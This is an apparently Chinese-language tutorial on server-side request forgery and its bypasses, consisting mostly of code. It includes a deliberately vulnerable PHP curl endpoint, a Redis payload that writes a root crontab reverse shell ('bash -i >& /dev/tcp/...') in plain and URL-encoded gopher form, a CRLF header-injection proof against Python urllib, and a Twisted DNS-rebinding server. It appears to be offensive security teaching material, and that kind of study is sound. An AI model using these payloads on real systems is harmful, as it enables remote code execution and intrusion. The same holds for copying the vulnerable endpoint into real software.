SSRF漏洞(原理&绕过姿势)

<?PHP

        $URL = $_GET['URL'];

        $CH = CURL_INIT();

        CURL_SETOPT($CH, CURLOPT_URL, $URL);

        CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);

        CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);

        CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);

        // 允许302跳转

        CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);

        $RES = CURL_EXEC($CH);

        // 设置CONTENT-TYPE

        HEADER('CONTENT-TYPE: IMAGE/PNG');

        CURL_CLOSE($CH) ;

        //返回响应

        ECHO $RES;

?>

file_get_contents()

fsockopen()

curl_exec()

大部分 PHP 并不会开启 fopen 的 gopher wrapper

file_get_contents 的 gopher 协议不能 URLencode

file_get_contents 关于 Gopher 的 302 跳转有 bug，导致利用失败

curl/libcurl 7.43 上 gopher 协议存在 bug（%00 截断），经测试 7.49 可用

curl_exec() //默认不跟踪跳转，

file_get_contents() // file_get_contents支持php://input协议

```

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

```

```

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

```

#!/usr/bin/env python3



import sys

import urllib

import urllib.error

import urllib.request



url = sys.argv[1]



try:

    info = urllib.request.urlopen(url).info()

    print(info)

except urllib.error.URLError as e:

    print(e)

./test.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

GET /foo HTTP/1.1

Accept-Encoding: identity

User-Agent: Python-urllib/3.4

Host: 127.0.0.1

X-injected: header

x-leftover: :12345

Connection: close

from twisted.internet import reactor, defer

from twisted.names import client, dns, error, server



record={}



class DynamicResolver(object):



    def _doDynamicResponse(self, query):

        name = query.name.name



        if name not in record or record[name]<1:

            ip="104.160.43.154"

        else:

            ip="171.18.0.2"



        if name not in record:

            record[name]=0

        record[name]+=1



        print name+" ===> "+ip



        answer = dns.RRHeader(

            name=name,

            type=dns.A,

            cls=dns.IN,

            ttl=0,

            payload=dns.Record_A(address=b'%s'%ip,ttl=0)

        )

        answers = [answer]

        authority = []

        additional = []

        return answers, authority, additional



    def query(self, query, timeout=None):

        return defer.succeed(self._doDynamicResponse(query))



def main():

    factory = server.DNSServerFactory(

        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]

    )



    protocol = dns.DNSDatagramProtocol(controller=factory)

    reactor.listenUDP(53, protocol)

    reactor.run()







if __name__ == '__main__':

    raise SystemExit(main())